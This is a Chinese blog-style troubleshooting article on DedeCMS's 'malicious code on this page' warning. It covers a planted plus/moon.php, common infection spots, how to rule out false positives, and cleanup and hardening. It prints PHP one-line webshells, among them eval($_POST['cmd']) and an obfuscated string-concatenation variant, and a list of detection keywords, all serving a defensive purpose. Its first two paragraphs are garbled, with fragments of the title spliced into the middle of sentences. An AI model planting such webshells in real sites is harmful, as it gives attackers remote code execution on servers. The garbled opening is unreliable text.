DedeCMS提示当前页面中存在恶意代码

上周三凌晨两点,示当一个做本地资讯站的前页朋友给我发来截图,后台弹出一行红字:“当前页面中存在恶意代码”。面中码他当时就懵了——网站前一天还正常,存恶怎么突然就中招了?意代更诡异的是,前台访问完全看不出异常,示当只有登录后台才会触发这个提示。前页我让他把根目录下的面中码文件列表导出来,果然,存恶plus/目录里多了一个叫moon.php的意代文件,修改时间是示当当天凌晨1点47分。

这就是前页DedeCMS用户最常遇到的一类问题。系统检测到某个文件里含有可疑代码片段,面中码比如eval、存恶base64_decode、意代assert这类函数被拼接成一句话木马,或者<script>标签里嵌了外部JS地址。DedeCMS本身有个安全检测机制,在后台“系统”菜单下的“病毒扫描”里能手动查,但有时候它会在你打开某个页面时直接弹警告,说明那个被访问的模板文件或者PHP文件已经被污染了。

为什么偏偏是DedeCMS?

老站长都清楚,DedeCMS停更那几年留下的坑太多了。它的uploads目录默认没有PHP执行防护,data目录里的缓存文件可以被直接写入,加上很多模板标签允许执行PHP代码,攻击者只要找到一个上传点或者注入点,就能把后门塞进任何可写目录。我见过最离谱的一个案例:攻击者把恶意代码写进了templets/default/article_article.htm模板里,每次有人访问文章页,就会加载一个来自境外IP的JS,偷偷把访客cookie发走。而网站管理员直到百度搜索结果显示“该页面可能被篡改”才发现。

另一个常见位置是include/common.inc.php或者plus/search.php。有些恶意代码会伪装成正常函数,比如把eval($_POST['cmd'])拆成$a='ev'.'al';$a($_POST['cmd']);,这样简单的字符串匹配就查不出来。DedeCMS自带的检测规则更新慢,遇到变种就瞎了。

怎么确认是不是误报

别急着删文件。有一次我帮人排查,提示plus/car.php有恶意代码,结果打开一看,是站长自己加的一段统计代码,里面有个document.write被规则误判了。判断方法很简单:打开那个文件,搜索eval、base64、gzinflate、str_rot13这些关键词。如果代码长得像天书,比如$O00OO0=urldecode(...),那基本实锤。如果只是普通的script标签,看看是不是自己或者第三方统计加的。

还有个细节:检查文件修改时间。DedeCMS正常更新文件的时间是集中的,如果某个核心文件的时间戳是凌晨三四点,或者跟其他文件差了好几个月,那就有问题。我习惯用find ./ -mtime -7 -name "*.php"列出最近七天改过的PHP文件,比后台扫描更直接。

清理时容易踩的坑

有人一看到提示,直接把整个plus目录删了,结果网站功能全挂。正确做法是:先备份被感染的文件,用文本编辑器打开,把恶意代码段完整删掉,注意别破坏原有逻辑。比如下面这种:

<?php // 正常代码 @eval($_POST['x']); // 正常代码 ?> 

你要删的是@eval($_POST['x']);这一整行,而不是把整个文件替换成空白。如果文件已经被完全覆盖,那就从官方原版包里找同名文件覆盖回去,再对比数据库里有没有被插入<script>标签。很多人只清文件,忘了dede_archives表里的body字段也可能被塞了恶意代码,结果前台文章页照样弹窗。

最后说个实在的:DedeCMS的安全问题,七成靠权限设置,三成靠勤快。把data、uploads、templets目录的写入权限关掉,后台密码改复杂点,再装个WAF或者云锁,比事后到处找后门强得多。那个朋友后来把moon.php删了,改了数据库密码,又在nginx里加了条规则禁止plus目录执行PHP,到现在两个月没再出过提示。